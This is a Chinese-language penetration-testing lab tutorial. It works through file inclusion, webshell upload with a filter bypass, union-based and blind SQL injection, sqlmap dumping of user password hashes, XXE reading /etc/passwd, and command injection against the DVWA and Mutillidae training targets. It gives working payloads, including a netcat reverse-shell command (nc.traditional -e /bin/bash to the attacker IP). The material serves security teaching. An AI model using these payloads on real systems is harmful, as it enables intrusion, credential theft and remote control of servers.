目录
8.4 基于错误的 SQL 注入(获取用户名和密码的哈希值)
8.5 确认并利用 SQL 盲注漏洞(获取数据库当前用户名)
8.1 寻找文件包含漏洞
当用户自定义参数请求服务器中的动态资源或者在服务器上执行的代码包含了某个页面时,就会出现文件包含漏洞。如果让服务器执行了文件包含导致的恶意代码,系统就有可能被入侵。
8.1.1 环境准备
1.开启OWASP靶机和Kali虚拟机
2.kali中登陆dvwa(用户名和密码都是 admin),进入 File Inclusion 页面
8.1.2 寻找文件包含漏洞案例
1.File Inclusion 页面提示要测试包含的内容,将浏览器的URL中的page改为index.php进行尝试。(根据提示修改page的值进行测试)
2.为了尝试攻击,需要知道存在本地的文件名称,知道有个 index.php 在根目录下,所以尝试下目录遍历和文件包含。提交参数为../../index.php,可以证明存在文件包含漏洞了(“../”表示返回上一级目录)
3.下面尝试一下远程文件包含漏洞。首先在Kali启动 apache 服务器:
┌──(kali㉿kali)-[~]
└─$ service apache2 start
4.现在利用这个文件包含漏洞,包含一下 Kali 的 apache 页面:
http://192.168.xx.xx(OWASP靶机地址)/dvwa/vulnerabilities
/fi/?page=http://192.168.yy.yy(Kali主机地址)/index.html
http://192.168.11.131/dvwa/vulnerabilities/fi/?page=http://192.168.11.130/index.html
(利用文件包含漏洞,运行在靶机上的网站远程包含到了Kali下 的 apache 页面(index.html))
8.2 文件包含和文件上传(上传恶意代码并执行)
8.2.1 环境准备
1.开启OWASP靶机和Kali虚拟机
2在kali的/root/Document路径下,创建webshell.php文件,内容如下:
(准备恶意代码)
3.kali中登陆dvwa(用户名和密码都是 admin),将安全等级设置为 medium(中级),进入 Upload页面
8.2.2 文件包含和文件上传案例
1.在 Upload 页面的上传点上传 webshell.php 文件。(试探文件上传漏洞)
当你尝试上传后缀为.php 的文件时,会发现上传失败,这是因为 DVWA 的中级限制对上传的文件后缀做了安全检查,只允许上传图片,所以在这里需要绕过这个限制上传 webshell.php 。
2.为了绕过上传限制,需要打开Burp suite 。先在浏览器的设置中打开手动网络代理,再打开Burp suite,选中菜单中的Proxy,在Proxy的选项卡下打开 Burp suite 的拦截开关。(打开Burp suite)
3.重新选中webshell.php 文件(准备上传恶意代码)
4.点击上传,数据包就会被拦截下来。(准备修改文件类型)
简单分析这个请求可以发现,请求是多部分的,并且每一部分都是对应的标题。
尤其注意上图中第二个 Content-Type,它包含了上传文件的内容,并且告诉服务器它是一个 PHP 文件
5.将第二个 Content-Type 中的值修改为 image/jpeg 后再放行请求包,然后就会看到上传成功的信息,记下提示的路径(修改文件类型,绕过筛选)
6.上传成功后,要使用上传的 webshell.php 来对服务器执行命令。转到 DVWA的 File Inclusion 页面。(webshell.php上传成功之后,对于服务器来说,它就是本地文件,所以转到文件包含File Inclusion页面,利用本地包含执行恶意代码)
7.将page的值改为之前记下的路径
8.可以看到 webshell.php 被成功地加载,并且会有一个文本框,在文本框中输入/sbin/ifconfig 然后敲下回车键,你就可以看到出现了文本提示信息,这代表代码被成功执行(执行代码)
8.3 手动识别 SQL 注入(获取所有用户名)
大多数现代 Web 应用程序都实现某种数据库,而 SQL 是最常用的查询数据库的语言。
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作
8.3.1 环境准备
1.开启OWASP靶机和Kali虚拟机
2.kali中登陆dvwa(用户名和密码都是 admin),进入 SQL Injection(SQL 注入)页面,安全等级调为low
8.3.2 手动识别 SQL 注入案例
1.通过输入一个数字来测试应用程序的正常行为。将用 户 ID 设置为 1,然后单击“提交”。 通过查看结果,可以说应用程序查询数据库以查看是否存在 ID 等于 1 的用户并返回该用户的 ID、名称和姓氏。(提交ID,查看显示的信息)
2.接下来,测试如果发送应用程序不期望的内容会发生什么。在文本框中输入 1'(1 和一个单撇号)并提交该 ID。 如以下屏幕截图所示,应用程序应响应错误,结果表明很可能这个应用程序很容易受到攻击。(从报错获取信息:数据库管理软件mysql,和错误原因是引号不对称)
3.返回 DVWA 的 SQL Injection 页面。
4.为了确保存在基于错误的 SQLi,尝试另一个输入:1'',这次没有错误。 这证实了应用程序中存在 SQLi 漏洞。
5.现在将执行一个非常基本的 SQLi 攻击。 在文本框中输入' or '1'='1 并提交。(使得输入的条件为“true”,让数据库输出所有用户姓和名)
8.4 基于错误的 SQL 注入(获取用户名和密码的哈希值)
8.4.1 环境准备
1.开启OWASP靶机和Kali虚拟机
2.kali中登陆dvwa(用户名和密码都是 admin),进入 SQL Injection(SQL 注入)页面,安全等级调为low
8.4.2 基于错误的 SQL 注入案例
1.在检测到 SQLi 存在后,还需要获取结果的列数。在“User ID”框中输入任意数字,然后单击“Submit(提交)”按钮。
2.现在,继续输入,将输入栏的值替换为
1'order by 1
#并提交
3.继续增加 order by 后面的值并执行请求,直到页面发生了报错。在此示例中, 报错信息发生在它在按列数 3 时。这意味着查询的结果只有两列,因为尝试按不存在的列对其进行排序时会触发错误。(2和3步骤:order by语句用于排序,使用超出范围的数字,获取实际检索的列数)
4.现在知道数据有两列。然后尝试使用 union 语句提取一些信息。将输入的值设置为 1' union select 1,2--'并执行。(查看显示位,union 作用是将多个select语句的结果整合到一个结果中返回,union 语句使得输入多个select语句成为可能,union 语句后的select语句是我们想要注入的代码)
1' union select 1,2--'
5.这意味着要使用 union 查询中请求两个值。查看 数据库版本和数据库当前用户。 输入为:
1' union select@@version,current_user() -- '
然后执行
(获取数据库版本和数据库当前用户信息)
6.随后寻找与之更相关的东西,例如应用程序的用户。首先需要找到用户的表(获取数据本)。输入为:
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
翻译出来就是:
从information_schema数据库中的tables表中查找当前数据库所含有的表有哪些
7.到这一步,可以知道数据库(或模式)名称为 dvwa,正在寻找的表是 user。由于只有两个位置来设置值,需要知道表中可能有哪些列(获取表中的列), 将输入改为:
1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #
8.知道了 user 表的内容。将 输入为:
1'union select user,password FROM dvwa.users -- '
(获取用户名和密码的哈希值)
在 First name 字段中,找到程序所存放的用户名,在 Surname 字段中,找到了每个用户的密码哈希值。可以将这些哈希值复制到文本文件中,然后尝试使用 John the Ripper 或最喜欢的密码破解程序来破解它们。
8.5 确认并利用 SQL 盲注漏洞(获取数据库当前用户名)
在 sql 盲注中,不会回显任何报错信息,需要通过一些问题语句询问数据库结果对错。
8.5.1 环境准备
1.开启OWASP靶机和Kali虚拟机
2.打开burpsuite
3.kali中登陆dvwa(用户名和密码都是 admin),进入 SQL Injection(Blind)盲注页面。
8.5.2 基于错误的 SQL 注入案例
1.这个表单和上面的 sql 注入表单(SQL Injection)一模一样,输入 1,可以查看id 为 1 的用户信息。
2.现在输入 1' 测试,发现并不像 sql 注入(SQL Injection)一样报错。
3.再输入 1'' 看一下:
结果显示了 id 为 1 的用户信息,这说明前面测试的 1'是 web 应用已经预料到的错误,这里很可能会有 sql 盲注漏洞,来继续猜测。
4.输入一个结果总是为假的参数试一下:
输入:
1' and '1'='2
因为 1 不等于 2,所以结果总是为假。可以发现应用没有给出选择条件的结果。
5.接着构造一个始终为真的参数:
1' and '1'='1
可以发现应用给出了 id 为 1 的结果。这说明该表单存在 sql 盲注漏洞,可以输入猜测的语句函数来观察应用返回的结果,通过这个方法可以一步一步猜解出想知道的内容。
6.在教程中,首先需要知道数据库的用户名,所以首先尝试一下这个语句:
1' and 1=char_length(current_user()) and '1'='1
7.下一步找到 burpsuite 中的这个请求,并发送到 Intruder 模块
8.点击右侧的clear按钮,清空默认的攻击参数
9.接着就可以通过添加攻击参数来构造有效载荷
10.转到有效载荷(Payloads)内容,将有效载荷类型(Payload type)设置为 Numbers
11.将数值内容设置为 1-15,步数为 1
12.接着转到 Intruder 的 Settings 选项卡,清除 Grep 匹配(Grep-Match)列表,添加自己想要的回显字段,如:First name,来快速查看攻击结果。
13.开始攻击(Start attack)按钮,从攻击结果得知,用户名是 6 位数。
(步骤6-13:是为了利用burpsuite获取数据库当前用户名的长度)
14.现在来猜解一下用户名的每个字符是什么。先猜测第一个,输入:
1' and current_user LIKE 'a%
%是 sql 语句中的通配符,它可以匹配任何字符串。这个语句的意思是猜测第一个字母是不是 a
15.同样的,把该请求发送到 intruder 模块,将 a 设置为改变参数。
16.转到有效载荷(Payloads)内容,将有效载荷类型(Payload type)设置为 Simple list
17.载荷列表是 a-z,1-9,和所有特殊符号的集合,需要自己构建。由于 sql 语句中的 select 查询不区分大小写,所以省略了大写字母。
18.接着转到 Intruder 的 Settings 选项卡,清除 Grep 匹配(Grep-Match)列表,添加自己想要的回显字段
19.开始攻击,从结果中发现第一个字母是 d
20.下面继续猜测第二个字符,将输入参数改为
1' and current_user LIKE 'da%
21.现在目标是 d 后面的字符。继续攻击,可以从结果中看到第二个字符是 v
22.下面继续猜解后面的字符。在结果中,你可能会发现%的结果总为 ture,这是因为%是通配符,它可以和任意一个字符匹配到。
最后测试出来的结果是 dvwa@%,最后一个%匹配的是空字符,所以用户名是 dvwa@
23.为了验证结果,把 like 替换为=:
1' and current_user()='dvwa@%
结果显示找到了正确的用户名
8.6 利用SQLmap实现 SQL 注入
8.6.1 环境准备
1.开启OWASP靶机和Kali虚拟机
2.kali中登陆dvwa(用户名和密码都是 admin),进入 SQL Injection(Blind)页面,安全等级调为low
8.6.2 利用SQLmap实现 SQL 注入案例
1.随意输入一个数字,如将ID输入为:1,然后单击“提交”。在浏览器地址栏复制URL
2.F12打开开发者工具,选中Storage(存储)选项卡,找到cookies,复制其中的PHPSESSID的值(获取cookies,为之后绕过登录页面做准备)
3.由于浏览器提交方式为get型,sqlmap采用-u命令。将刚才复制的URL和COOKIE写入命令:
sqlmap -u "http://192.168.11.131/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=iavdr5g5koni1thuqk78ldji17" --batch
(使用sqlmap进行get型注入,cookie用来绕过登录页面)
可以获取到注入点:
4.为了查看有哪些数据库,输入命令:
sqlmap -u "http://192.168.11.131/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=iavdr5g5koni1thuqk78ldji17" --batch --dbs
5.为了查看有当前数据库,输入命令:
sqlmap -u "http://192.168.11.131/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=iavdr5g5koni1thuqk78ldji17" --batch --current-db
6.为了查看数据库中所有的表,输入命令:
sqlmap -u "http://192.168.11.131/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=iavdr5g5koni1thuqk78ldji17" --batch -D dvwa --tables
7.为了查看users表中有哪些列,输入命令:
sqlmap -u "http://192.168.11.131/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=iavdr5g5koni1thuqk78ldji17" --batch -D dvwa -T users --columns
8.爆破表中user和password这两列:
sqlmap -u "http://192.168.11.131/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=iavdr5g5koni1thuqk78ldji17" --batch -D dvwa -T users -C"user,password" --dump
8.7 利用 XML 外部实体注入
在现实生活中大量存在有关系的数据,XML语言出现的根本目标在于描述在现实生活中经常出现的有关系的数据。
在XML语言中,它允许用户自定义标签。一个标签用于描述一段数据;一个标签可分为开始标签和结束标签,在开始标签和结束标签之间,又可以使用其它标签描述其它数据,以此来实现数据关系的描述。(在XML中,用ELEMENT表示元素,用ENTITY表示实体)
8.7.1 环境准备
1.开启OWASP靶机和Kali虚拟机
8.7.2 利用XML外部实体注入案例
1.浏览器打开:
http://192.168.11.131_(靶机IP)/mutillidae/index.php?page=xml-validator.php
2.这是一个 XML 验证器。提交样例进行测试:在 XML 框中,输入
<somexml><message>HelloWorld</message></somexml>
然后点击 Validate XML。(测试显示效果)
3.测试它是否正确地处理了实体标记。输入以下内容:
<!DOCTYPE person [
<!ELEMENT person ANY>
<!ENTITY person "Mr Bob">
]>
<somexml><message>Hello World &person;</message></somexml>
在这里,只定义了一个名字为person的内部实体将 Mr Bob 设为其值。解析器在显示结果时解释了实体并替换该值(测试使用实体的显示效果),所以显示:Hello World Mr Bob
4.这就是内部实体的使用。再尝试一个外部实体的使用,在这个结果,可以看到注入后返回文件的内容:
<!DOCTYPE fileEntity [
<!ELEMENT fileEntity ANY>
<!ENTITY fileEntity SYSTEM "file:///etc/passwd">
]>
<somexml><message>Hello World &fileEntity;</message></somexml>
(利用XML的外部注入漏洞,获取本地,也就是靶机上的passwd文件内容)
使用这种技术,可以读取系统中任何对运行 web 服务器用户可读的文件。
8.8 检测和利用命令注入漏洞(获取到反向shell)
8.8.1 环境准备
1.开启kali和owasp靶机
登录到 DVWA 中,并进入命令执行页面(Command Execution),安全等级为Low
8.8.2 命令连接符号说明
&&:代表首先执行命令a,若成功再执行命令b,又被称为短路运算符。
&:代表首先执行命令a再执行命令b,不管a是否成功,都会执行命令b。在执行效率上来说“&&”更加高效。
||:代表首先执行a命令再执行b命令,只有a命令执行不成功,才会执行b命令。
|:代表首先执行a命令,在执行b命令,不管a命令成功与否,都会去执行b命令。(当命令a失败时,它仍然会执行命令b,表示A命令语句的输出,作为B命令语句的输入执行。)
8.8.3 检测和利用命令注入漏洞案例
1. 在输入框输入:
192.168.11.130(kali主机IP)
进行测试:
这个输出看起来像是直接从 ping 命令的输出中获得的。(这表明服务器正在使用操作系统命令来执行 ping,因此可能会注入操作系统命令。)
2.让尝试注入一个非常简单的命令。提交以下代码,
192.168.11.130&whoami
可以看到通过whoami获取到了当前用户
(使用命令连接符号注入额外的命令)
3.如果去掉 IP 地址,仅有whoami呢?结果如下图所示:
发现未得到任何结果
(测试除了IP,输入其他命令的效果)
4.尝试127.0.0.1 | whoami
5.现在,试着获得一个反向 shell,首先,必须确保owasp靶机上拥有需要的东西,即合适的nc工具,输入:
127.0.0.1 | ls /bin/nc*
(确定靶机上有NC工具,为获取反向shell做准备)
返回一个完整路径的文件列表,有不止一个版本的 NetCat,它是用来生成连接的工具。NetCat 的 OpenBSD 版本不支持在连接上执行命令,因此将使用 traditional 。
6.下一步是监听 Kali Linux 中的连接。打开kali终端,运行以下命令:
nc -lp 1691 -v
(在kali中打开接口,等待靶机连接)
7.然后在浏览器中提交以下内容:
127.0.0.1 | nc.traditional -e/bin/bash 192.168.11.130 1691 &
(利用命令连接符号,使用nc工具连到kali)
8.将看到如何在监听 Kali 终端接收连接。在这里,可以在服务器上执行命令,如下图所示: